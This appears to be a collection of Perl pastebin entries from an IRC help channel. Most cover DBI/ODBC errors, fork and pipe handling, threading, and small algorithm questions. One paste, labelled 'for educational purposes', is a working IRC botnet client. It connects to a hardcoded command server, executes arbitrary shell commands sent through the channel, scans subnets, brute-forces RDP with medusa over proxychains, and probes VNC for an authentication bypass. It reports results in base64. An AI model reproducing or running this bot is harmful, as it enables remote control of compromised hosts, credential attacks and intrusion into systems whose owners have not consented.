    -> connected in DBD::_::db for DBD::ODBC::db (DBI::db=HASH(0x11e43c8)~0x11e42f0 'dbi:ODBC:MSSQLDB 'ADAccount' ****) thr#11b9010
    <- connected= ( undef ) [1 items] at DBI.pm line 732
    <- connect= DBI::db=HASH(0x11e43c8)
    -> STORE for DBD::ODBC::db (DBI::db=HASH(0x11e42f0)~INNER 'dbi_connect_closure' CODE(0x14ca1c0)) thr#11b9010
    !!DBD::ODBC unsupported attribute passed (dbi_connect_closure)
    STORE DBI::db=HASH(0x11e42f0) 'dbi_connect_closure' => CODE(0x14ca1c0)
    <- STORE= ( 1 ) [1 items] at DBI.pm line 741 via  at fileaudit.status_update.pl line 69
    -> prepare for DBD::ODBC::db (DBI::db=HASH(0x11e43c8)~0x11e42f0 'exec FA_UpdateTxRxStatus ?,?,?,?') thr#11b9010
    SQLPrepare exec FA_UpdateTxRxStatus ?,?,?,?
    SQLPrepare = 0
    <- prepare= ( DBI::st=HASH(0x11e4680) ) [1 items] at fileaudit.status_update.pl line 79
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x11e4680)~0x11e42d8 1 '0' 4) thr#11b9010
SQLDescribeParam not supported, sv=1 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.status_update.pl line 81
    -> bind_param for DBD::ODBC::st (DBI::st=HASH(0x11e4680)~0x11e42d8 2 'RECEIVED' 12) thr#11b9010
SQLDescribeParam not supported, sv=8 bytes, defaulting to 12
    <- bind_param= ( 1 ) [1 items] at fileaudit.status_update.pl line 82
    -> bind_param_inout for DBD::ODBC::st (DBI::st=HASH(0x11e4680)~0x11e42d8 3 SCALAR(0x148f628) 12) thr#11b9010
SQLDescribeParam not supported, sv=0 bytes, defaulting to 12
    <- bind_param_inout= ( 1 ) [1 items] at fileaudit.status_update.pl line 102
    -> bind_param_inout for DBD::ODBC::st (DBI::st=HASH(0x11e4680)~0x11e42d8 4 SCALAR(0x148f940) 4) thr#11b9010
SQLDescribeParam not supported, sv=2 bytes, defaulting to 12
    <- bind_param_inout= ( 1 ) [1 items] at fileaudit.status_update.pl line 103
    -> execute for DBD::ODBC::st (DBI::st=HASH(0x11e4680)~0x11e42d8) thr#11b9010
    +dbd_st_execute(134e130)
    dbd_st_finish(134e130)
SQLDescribeParam not supported, sv=2 bytes, defaulting to 12
    !SQLError(14d0240,14d0920,152ca20) = (42000, 8162, [FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output.)
    !SQLError(14d0240,14d0920,152ca20) = (42000, 8180, [FreeTDS][SQL Server]Statement(s) could not be prepared.)
    -dbd_st_execute(134e130)=-2
    !! ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#2)
    <- execute= ( undef ) [1 items] at fileaudit.status_update.pl line 105
DBD::ODBC::st execute failed: [FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000) at fileaudit.status_update.pl line 105, <IN> line 1.
    -> errstr in DBD::_::common for DBD::ODBC::st (DBI::st=HASH(0x11e4680)~0x11e42d8) thr#11b9010
       ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#2)
    <- errstr= ( '[FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' ) [1 items] at fileaudit.status_update.pl line 105
[FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000) at fileaudit.status_update.pl line 105, <IN> line 1.
    <> DESTROY(DBI::db=HASH(0x11e43c8)) ignored for outer handle (inner DBI::db=HASH(0x11e42f0) has ref cnt 3)
    -- DBI::END ($@: , $!: )
    -> disconnect_all for DBD::ODBC::dr (DBI::dr=HASH(0x149ed70)~0x149ee30) thr#11b9010
    <- disconnect_all= ( '' ) [1 items] at DBI.pm line 749 via  at fileaudit.status_update.pl line 105
!   <> DESTROY(DBI::st=HASH(0x11e4680)) ignored for outer handle (inner DBI::st=HASH(0x11e42d8) has ref cnt 1)
!   -> DESTROY for DBD::ODBC::st (DBI::st=HASH(0x11e42d8)~INNER) thr#11b9010
       ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#2)
!   <- DESTROY= ( undef ) [1 items] during global destruction
!   -> DESTROY for DBD::ODBC::db (DBI::db=HASH(0x11e42f0)~INNER) thr#11b9010
       ERROR: 1 '[FreeTDS][SQL Server]The formal parameter "@P3" was not declared as an OUTPUT parameter, but the actual parameter passed in requested output. (SQL-42000)
[FreeTDS][SQL Server]Statement(s) could not be prepared. (SQL-42000)' (err#0)
!   <- DESTROY= ( undef ) [1 items] during global destruction
!   -> DESTROY in DBD::_::common for DBD::ODBC::dr (DBI::dr=HASH(0x149ee30)~INNER) thr#11b9010
!   <- DESTROY= ( undef ) [1 items] during global destruction
!   <> DESTROY for DBI::dr=HASH(0x149ed70) ignored (inner handle gone)
[2017-04-05 15:31] [ERROR] Unable to update status for ladeda.exe!
[2017-04-05 15:31] [ERROR] doDBUpdateStatus failed for [ladeda.exe].  Unable to continue.


who: avgn5
where: localhost:perlbot:#perl
what: How to send text to STDIN of system call
paste:
use strict;
use warnings;
use feature qw( say );

# Just for preserving the existing STDOUT/STDERR just in case.
open my $stdout, '>&STDOUT' or die 'Could not dupe STDOUT';
open my $stderr, '>&STDERR' or die 'Could not dupe STDERR';

# Close them so they can be redirected.
close STDOUT or die 'Could not close STDOUT';
close STDERR or die 'Could not close STDERR';

# Redirect all output for the system() call to a file.
open STDOUT, '>', './tmp.out' or die 'Could not open STDOUT';
open STDERR, '>&STDOUT' or die 'Could not open STDERR';

my $text = 'I want to send this text to the STDIN of program in the system() call.'

# The prog/args here are just an example, the real one is more complex but 
# reads from STDIN in the same manner.
system qw(perl -e), '$|=1; print <STDIN>; print STDOUT 123; print STDERR 456;';



who: avgn5
where: localhost:perlbot:#perl
what: using open3, tmp.out ends up empty
paste:
use strict;
use warnings;
use feature qw( say );

use IPC::Open3 qw(open3);

my $text = 'I want to send this text to the STDIN of program in the system() call.';

open my $cmd_out, '>', './tmp.out' or die 'Could not open cmd_out: [$!]';
open my $cmd_in, '<', \$text       or die 'Could not open cmd_in: [$!]';

# The prog/args here are just an example, the real one is more complex but 
# reads from STDIN in the same manner.
my $pid = open3 $cmd_in, $cmd_out, $cmd_out, qw( perl -e ), '$|=1; print <STDIN>; print STDOUT 123; print STDERR 456;';

### Why does tmp.out end up empty?


who: pink_mist
where: localhost:perlbot:#perl
what: try this avgn5
paste:
#!/usr/bin/env perl

use strict;
use warnings;
use feature qw( say );

my $text = 'I want to send this text to the STDIN of program in the system() call.';

my @cmd = (qw( perl -e ), '$|=1; print <STDIN>; print STDOUT 123; print STDERR 456;');

pipe my $rd, my $wr;

my $pid = fork;
die "Could not fork: [$!]" if not defined $pid;
if ($pid) {
    print $wr $text; close $wr;
    waitpid $pid, 0;
} else {
    open STDIN, '<&', $rd or die "Could not dup STDIN to \$rd in child: [$!]";
    open STDOUT, '>', './tmp.out' or die "Could not open STDOUT in child: [$!]";
    open STDERR, '>&STDOUT' or die "Could not dup STDOUT to STDERR in child: [$!]";

    exec @cmd or die "Could not exec <@cmd> in child: [$!]";
}


where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl
use autodie;
use XML::Feed;
use Data::Dumper;
use Path::Tiny;
use YAML qw(LoadFile);
use Parallel::ForkManager;


my $settings = LoadFile('urls.yaml');
my $file     = path('combinedRSS.txt');

my @titles;
my @data;
my %titlecheck;

sub checkfeed {
    my $feed = XML::Feed->parse( URI->new( @_ ) ) or die XML::Feed->errstr;
    for my $entry ( $feed->entries ) {
        unless ( $titlecheck{ $entry->title } ) {
            if ( defined $entry->content->body ) {
                push @data,
                  join( "\n\n",
                    $entry->title, $entry->content->body,
                    $entry->link, $entry->issued, "\n\n" );
                $file->spew_utf8(@data);
                push @titles, $entry->title;
                %titlecheck = map { $_ => 1 } @titles;
            }
            elsif ( defined $entry->summary->body ) {
                push @data,
                  join( "\n\n",
                    $entry->title, $entry->summary->body,
                    $entry->link, $entry->issued, "\n\n" );
                $file->spew_utf8(@data);
                push @titles, $entry->title;
                %titlecheck = map { $_ => 1 } @titles;
            }

        }
    }
}

#my $q = Thread::Queue->new();

#my $pm = Parallel::ForkManager->new($MAX_PROCESSES);
# Find each URL in the settings file
#LINKS:
for my $x ( keys %{$settings} ) {
    print "$x:\t$settings->{$x}\n";
    while (1) {
 #   my $pid = $pm->start and next LINKS;
        checkfeed( $settings->{$x} );
        sleep(60);
    }
}


who: bhelit
where: localhost:perlbot:#perl
what: advice on a better algorithm
paste:

my $cur_size = 0; my @leftokeys = @keyset;
		foreach my $key (@keyset) {
			my $iter_amt = $pop{$key};
			$cur_size += $iter_amt;
			if ($cur_size < $target_size) {
				my $index = 0; 
				$index++ until $keyset[$index] eq $key;
				splice(@keyset, $index, 1);
				print $pfh "$key:$iter_amt:$cur_size\n";
			}
			else 
				{ print $ofh "$key:$iter_amt:$cur_size\n"; }


who: Dagda
where: localhost:perlbot:#perl
paste:
	foreach my $move (@regular_moves) {
		if ($move <= $min || $move >= $max) {
			splice (@regular_moves, $move);
		}
	}


who: ballison
where: localhost:perlbot:#perl
what: setting a hash array back to an array
paste:
I have a hash where I'm storying a list of ports that I would like to referene as arrays later.

$blessed_ports_hash{'serverA'}=qw( 80/tcp 443/tcp );
$blessed_ports_hash{'serverB'}=qw( 80/tcp 443/tcp );
$blessed_ports_hash{'serverC'}=qw( 80/tcp 443/tcp 8080/tcp);


Later I'd like to use them as an array:
    
    
    
        if (exists $blessed_ports_hash{$instance_name}) {
                @blessed_ports=$blessed_ports_hash{$instance_name};
                print "-- Special here @blessed_ports\n";
        }
        
        
But instead I keep getting SCALAR, and if I put a \ the @blessed_ports I get REF instead.

I just want the values and to be able to use @blessed_ports as an array.


paste:
sub months
{
    return (
        '1'     => qr{Jan(?:uary)?}i,
        '2'     => qr{Feb(?:ruary)?}i,
        '3'     => qr{Mar(?:ch)?}i,
        '4'     => qr{Apr(?:il)?}i,
        '5'     => qr{May}i,
        '6'     => qr{Jun(?:e)?}i,
        '7'     => qr{Jul(?:y)?}i,
        '8'     => qr{Aug(?:ust)?}i,
        '9'     => qr{Sep(?:t)?(?:ember)?}i,
        '10'    => qr{Oct(?:ober)?}i,
        '11'    => qr{Nov(?:ember)?}i,
        '12'    => qr{Dec(?:ember)?}i,
    );
}


    foreach my $month_number (keys(%months))
    {   
        if($_recache{"\\b$months{$month_number}\\b"} //= qr/\b$months{$month_number}\b/, $date =~ s{$_recache{"\\b$months{$month_number}\\b"}}{X${month_number}X}mxi )
        {   
            $p->{ month } = $month_number;
            
            return ( $date , $p );
        }
        elsif ($_recache{"(\\d)$months{$month_number}"} //= qr/(\d)$months{$month_number}/, $date =~ s{$_recache{"(\\d)$months{$month_number}"}}{$1X${month_number}X}mxi )
        {   
            $p->{ month } = $month_number;
            
            return ( $date , $p );
        }
    }


who: sgt_b2002
where: localhost:perlbot:#perl
paste:
my $config;
$config->{'valueA'} = 'A';
$config->{'valueB'} = 'B';
$config->{'valueC'} = 'C';
$config->{'valueD'} = 'D';

my @pids;
my $max = 5;
my $children = 0;

while ($children < $max) {
	my $pid;

	if (defined($pid = fork())) {
		if ($pid) {
			$children++;
			print "[INFO] Parent: forked child ($pid).\n";
			push(@pids,$pid);
		} else {
			worker_task($config);
			exit;
		}
	}
}

for my $pid (@pids) {
    print "[INFO] Waiting for pid $pid.\n";
    waitpid($pid,0);
}

sub worker_task {
	my ($config) = @_;

	# my $workerConfig = %{$config}; # I should do this instead and use $workerConfig within the child process, correct?

	$config->{'valueA'} = int(rand(100));
	$config->{'valueB'} = int(rand(100));
	$config->{'valueC'} = int(rand(100));
	$config->{'valueD'} = int(rand(100));

	return 0;
}


who: Dagda
where: localhost:perlbot:#perl
paste:
sub heuristic {
	my ($surfaceBlocks) = shift;
	my $startPos = shift;
	my $endBlock = shift;
	my ($listOfBlocksTriedRef) = shift;
	
	my @listOfBlocksTried = @{ $listOfBlocksTriedRef };

	my @listOfBlocks;
	# Add regular moves (where the player can walk)
	# TODO: For now, only allow regular moves to right
	push @listOfBlocks, regular_moves($surfaceBlocks, $startPos);
	#push @listOfBlocks, jump_moves($level, $startPos);

	my %second_hash = map { ($_ => 1) } @listOfBlocksTried;
	extract_by { exists $second_hash{$_} } @listOfBlocks, \@listOfBlocks;
	
	my $block = $listOfBlocks[rand(scalar(@listOfBlocks))];

	print "BLOCK = $block\n";
	
	return $block;
}


who: Dagda
where: localhost:perlbot:#perl
paste:
complete_level($firstBlock, $endBlock, \@blockSeq, \@surfaceBlocks);

# Recursive method to take an incomplete level and make it feasible by adding more blocks
sub complete_level {
	my $startPos = shift;
	my $endBlock = shift;
	my ($blocksSeqRef) = shift;
	my ($blocksRef) = shift;

	my @blocksSeq = @{ $blocksSeqRef };
	my @blocks = @{ $blocksRef };

	print "\nStart Pos / End Block: $startPos, $endBlock\n";

	# Keep track of blocks we tried which turned out invalid
	my @listOfBlocksTried;

	# Keep trying blocks until we find one that is valid
	# If we try too many blocks, perhaps the current level can not be made feasible, so return to the parent node
	while (@listOfBlocksTried < 3) {
		# Choose a block to try add it to the level
		my $newBlock = heuristic($startPos, \@blocksSeq, \@blocks, \@listOfBlocksTried);
		add_block($newBlock, \@blocksSeq, \@blocks);
		print_level_ascii(\@blocks);

		<STDIN>;
		
		# Check to see if we can reach the block
		if (reachable(\@blocks, $startPos, $newBlock)) {
			# If we can reach the end block, we are done
			if (reachable(\@blocks, $newBlock, $endBlock)) {
				return 1;
			}
			elsif (get_column($newBlock, \@blocks) == get_column($endBlock, \@blocks)) {
				push @listOfBlocksTried, $newBlock;
				remove_block($newBlock, \@blocksSeq, \@blocks);
				return 0;
			}
			else {
				# Otherwise, recursively proceed down the tree
				# If the recursive call returns true, then our new block is a good choice
				if (complete_level($newBlock, $endBlock, \@blocksSeq, \@blocks)) {
					return 1;
				}
			}
		}
		# Either the new block wasn't reachable, or it led to a level that couldn't be made feasible with additional blocks.
		# Either way, remove the new block and add it to our list of used blocks, so we don't use it again.
		push @listOfBlocksTried, $newBlock;
		remove_block($newBlock, \@blocksSeq, \@blocks);
	}

	return 0;
}

sub add_block {
	my $blockToAdd = shift;
	my ($blocksSeqRef) = shift;
	my ($blocksRef) = shift;
	
	my @blocksSeq = @{ $blocksSeqRef };
	my @blocks = @{ $blocksRef };

	my $width = scalar(@{$blocks[0]});
	
	my $row = int($blockToAdd / $width);
	my $column = $blockToAdd % $width; 

	print "Blocks Seq: ".scalar(@blocksSeq)."\n";
	push @blocksSeq, $blockToAdd;
	print "Blocks Seq: ".scalar(@blocksSeq)."\n";
	
	$blocks[$row][$column] = 1;
}

sub remove_block {
	my $blockToRemove = shift;
	my ($blocksSeqRef) = shift;
	my ($blocksRef) = shift;

	my @blocksSeq = @{ $blocksSeqRef };
	my @blocks = @{ $blocksRef };

	my $width = scalar(@{$blocks[0]});
	
	my $row = int($blockToRemove / $width);
	my $column = $blockToRemove % $width; 
	
	pop @blocksSeq;
	print "Blocks Seq: ".scalar(@blocksSeq)."\n";
	
	$blocks[$row][$column] = 0;
}


who: g66k
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl
use strict;
use warnings;
use Data::Dumper;
use v5.010;
use List::Util qw(shuffle);

my $fun = [];

$fun->[0] = sub {

	say "func 1";
};

$fun->[1] = sub {

        say "func 2";
};

$fun->[2] = sub {

        say "func 3";
};

$fun->[3] = sub {

        say "func 4";
};


my $digit = substr(shuffle(0..3),0,1);

$fun->[$digit]->();


where: localhost:perlbot:#perl
paste:
    $text = encode_base64(this is a long line...........................);
    print $sk "PRIVMSG $canale :$text ";


who: independent
where: localhost:perlbot:#perl
what: Its a bot that talks in channel encoded
paste:
  sub printa {
    $text = encode_base64(" $_[0]. ");
    print $sk "PRIVMSG $canale :$text ";
  }


who: independent
where: localhost:perlbot:#perl
what: For educational purposes
paste:
#!/usr/bin/perl
use Path::Class;
use IO::Socket;
use IO::Socket::INET;
use threads;
use threads::shared;
use Errno qw(EAGAIN);
use warnings;
use MIME::Base64;

my $lines;
our $todo = 0;
my $orig_thread = "yes";
my $start;
my $end;
my $range = 256;
my $random_number = int(rand($range));
my @VNC_PORTS = qw/5900/;
my @medusa_PORTS  = ( [3389, 'rdp'] );
my $splits = 8; # Creates 2^N processes.
our $subnet;
my $nick = "medusa$random_number";# nick
my $secureport = "31337";
my $ircnet = "173.177.202.40";
my $canale = "&Partyline";
my $answer;
my $sk = IO::Socket::INET->new(PeerAddr=>"$ircnet",PeerPort=>"$secureport",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER $nick 1 * :Robot made by independent\r\n";
print $sk "PASS temp\r\n";

 while ($answer = <$sk>) {
   
	if ($answer =~ m/^PING (.*?)$/gi) #Answer ping requests
	{
	    
		print $sk "PONG ".$1."\r\n";
		print $sk "JOIN $canale \r\n";
	}
  if ($answer=~ /!list/)
  {
  

     

my $dir = dir('results'); # foo/bar

# Iterate over the content of foo/bar
    while (my $file = $dir->next) {
    next if $file->is_dir();
    open my $fh, '<', $file or warn "Could not open '$file' $!\n";
    while (my $lines = <$fh>) {
      chomp $lines;
      if ($lines=~ /SUCCESS/) {
    
        printa("$lines");
      }
    }
   }
 }
 
  if ($answer=~ /!die/)
  {
    my @cmd = ("pkill perl && pkill medusa");
    system(@cmd);
  }
  if ($answer=~ /!sudo\s+(.*)/)
  {
        my $command = $1;
        printa("Done: $command \r\n");
    my $cmd = "$command";
    my @output = `$cmd 2>&1 3>&1`;
    foreach(@output) {
      printa("$_");
    }
  }
 
 
  if ($answer=~ /!scan (.+)/)
  {
 
 
    $todo = 0;
    $subnet = $1;
    if ($subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/) {
      $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
      $subnet .= ".";
     
      printa("Scanning subnet ${subnet} ");
 
      CHECK: {
        unless ($splits >= 0 && $splits <= 8) {
          die "ERROR: Do not split $splits times--that makes no sense.\n";
        }
      }
 
      # Ugly, but this works.
      DivideWork() if $splits >= 1;
      DivideWork() if $splits >= 2;
      DivideWork() if $splits >= 3;
      DivideWork() if $splits >= 4;
      DivideWork() if $splits >= 5;
      DivideWork() if $splits >= 6;
      DivideWork() if $splits >= 7;
      DivideWork() if $splits >= 8;
 
      $start = $todo << (8 - $splits);
      $end = $start + (256 / (2**$splits)) - 1;
 
      foreach ($start .. $end) {
 
        Scan_ALL($_);
 
      }
     }
   
   else {
      printa("Are you brain-dead? Use a correct IP format. ");
    }
 
  }
 
 }
  ####################################
 
  sub DivideWork {
    my $pid;
 
    FORK: {
      $todo *= 2;
      if ($pid = fork) {
        # Parent
        ++$todo;
 
        } elsif (defined $pid) {
        # Child
        $orig_thread = "no";
 
        } elsif ($! == EAGAIN) {
        # Recoverable forking error.
        sleep 7;
        redo FORK;
 
        } else {
        # Unable to fork.
        printa("Unable to fork: $!\n");
 
      }
    }
  }
 
 
 
  sub Scan_ALL {
    my $hostnum = shift;
    my $host = $subnet . $hostnum;
    my $sock;
    my $proto_ver;
    my $ignored;
    my $auth_type;
    my $sec_types;
    my $vnc_data;
    $host or printa("ERROR: missing Host IP address Scan_ALL.");
 
    # The host numbers .0 and .255 are reserved; ignore them.
    if ($hostnum <= 0 or $hostnum >= 255) { return; }
 
    # Format things nicely--that crazy formula just adds spaces.
    $results[$hostnum] = "$host";
    $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";

    foreach my $porti (@medusa_PORTS)
    {
     if (my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $porti->[0], Proto => 'tcp',)) { 
        printa("8,2 RDP $host");
        my @cmdmedusa = ("proxychains medusa -M rdp -U user -P pass -h $host -v3 -f -s -b >>./results/$host.log");
        system(@cmdmedusa);
     }
    }
	foreach my $porti (@VNC_PORTS)
    {
      if (my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $porti, Proto => 'tcp',)) { 
 
        $sock->read($proto_ver, 12);
        print $sock $proto_ver;
 
        # Get supported security types and ignore them.
        $sock->read($sec_types, 1);
 
        $sock->read($ignored, unpack('C', $sec_types));
        # Claim that we only support no authentication.
        print $sock "\x01";
 
 
        # We should get "0000" back, indicating that they won't fall back to no authentication.
        $sock->read($auth_type, 4);

        # Client initialize.
        print $sock "\x01";
 
        # If the server starts sending data, we're in.
        $sock->read($vnc_data, 4);
        printa("XploitVNC $host");
        if (unpack('I', $vnc_data)) {
          $results[$hostnum] .= "VNC AuthByPass: $proto_ver";
          printa("$results[$hostnum] [$porti]  ");
        }
      }
    }
  }
  sub printa {
    $text = encode_base64("$_[0].");
    print $sk "PRIVMSG $canale :$text ";
  }


who: gloin
where: localhost:perlbot:#perl
paste:
my $dns = new Net::DNS::Resolver;
my $mx = $dns->query($domain, 'mx');
my $type = $mx->type;
print "$type\n";


who: mad_hatter
where: localhost:perlbot:#perl
paste:
 Warning: Will not be able to run tests as you have not defined
  81 all of DBI_DSN, DBI_USER and DBI_PASS environment variables.
  82 -> OK
  83 Checking dependencies from MYMETA.json ...
  84 Checking if you have ExtUtils::MakeMaker 0 ... Yes (7.10_02)
  85 Checking if you have Test::Simple 0.9 ... Yes (1.001014)
  86 Checking if you have DBI 1.609 ... Yes (1.636)
  87 Building and testing DBD-ODBC-1.56
  88 cp Changes blib/lib/DBD/ODBC/Changes.pm
  89 cp FAQ blib/lib/DBD/ODBC/FAQ.pm
  90 cp TO_DO blib/lib/DBD/ODBC/TO_DO.pm
  91 cp ODBC.pm blib/lib/DBD/ODBC.pm
  92 Running Mkbootstrap for DBD::ODBC ()
  93 chmod 644 "ODBC.bs"
  94 gcc -c -DWITH_UNICODE -I/cygdrive/c/windows/include  -I. -I/usr/include/w32api -I/home/jason.smith/perl5/perlbrew/perls/perl-5.24.1/lib/site_perl/5.24.1/cygwin-thread-multi/auto/DBI -DPERL_USE_S#
  95 "/home/jason.smith/perl5/perlbrew/perls/perl-5.24.1/bin/perl.exe" -p -e "s/~DRIVER~/ODBC/g" /home/jason.smith/perl5/perlbrew/perls/perl-5.24.1/lib/site_perl/5.24.1/cygwin-thread-multi/auto/DBI/D#
  96 "/home/jason.smith/perl5/perlbrew/perls/perl-5.24.1/bin/perl.exe" "/home/jason.smith/perl5/perlbrew/perls/perl-5.24.1/lib/5.24.1/ExtUtils/xsubpp"  -typemap "/home/jason.smith/perl5/perlbrew/perl#
  97 gcc -c -DWITH_UNICODE -I/cygdrive/c/windows/include  -I. -I/usr/include/w32api -I/home/jason.smith/perl5/perlbrew/perls/perl-5.24.1/lib/site_perl/5.24.1/cygwin-thread-multi/auto/DBI -DPERL_USE_S#
  98 gcc -c -DWITH_UNICODE -I/cygdrive/c/windows/include  -I. -I/usr/include/w32api -I/home/jason.smith/perl5/perlbrew/perls/perl-5.24.1/lib/site_perl/5.24.1/cygwin-thread-multi/auto/DBI -DPERL_USE_S#
  99 dbdimp.c:51:2: error: #error DBD::ODBC will not run properly with iODBC in unicode mode as iODBC defines wide characters as being 4 bytes in size
 100  #error DBD::ODBC will not run properly with iODBC in unicode mode as iODBC defines wide characters as being 4 bytes in size
 101   ^
 102 dbdimp.c: In function ‘AllODBCErrors’:
 103 dbdimp.c:6422:31: warning: passing argument 5 of ‘SQLError’ from incompatible pointer type [-Wincompatible-pointer-types]
 104                      sqlstate, &NativeError,
 105                                ^
 106 In file included from dbdodbc.h:7:0,
 107                  from ODBC.h:8,
 108                  from dbdimp.c:44:
 109 /usr/include/sql.h:898:19: note: expected ‘SQLINTEGER * {aka int *}’ but argument is of type ‘SDWORD * {aka long int *}’
 110  SQLRETURN SQL_API SQLError (
 111                    ^
 112 make: *** [Makefile:396: dbdimp.o] Error 1
 113 -> FAIL Installing DBD::ODBC failed. See /home/jason.smith/.cpanm/work/1492614187.9932/build.log for details. Retry with --force to force install it.


where: localhost:perlbot:#perl
what: thread leaves defunct processes
paste:
#!/usr/bin/perl
use strict;
use warnings;
use threads;
use Thread::Queue;

my $q = Thread::Queue->new();    # A new empty queue
my %hosts;


open DATA,"<","/path/to/file";
while (<DATA>) {
	if ($_ =~ /^host = (.*)/) {
		my $host = $1;
		$q->enqueue($host);
	}
}

close(DATA);


sub doStuff {
        my ($host) = @_;
		my $time = time;

        my $buf = "START\n";
		$buf .= "time: $time\n";
		$buf .= qx/mtr --report -n -w -i 5 --report-cycles=10 -o LDRSNBAWV $host/;
        $buf .= "END\n";

        print $buf;
}

# Worker threads
my $thread_limit = 32;

my @thr = map {
    threads->create(sub {
        while (defined (my $item = $q->dequeue_nb())) {
            doStuff($item);
        }
    });
} 1..$thread_limit;

# terminate.
$_->join() for @thr;


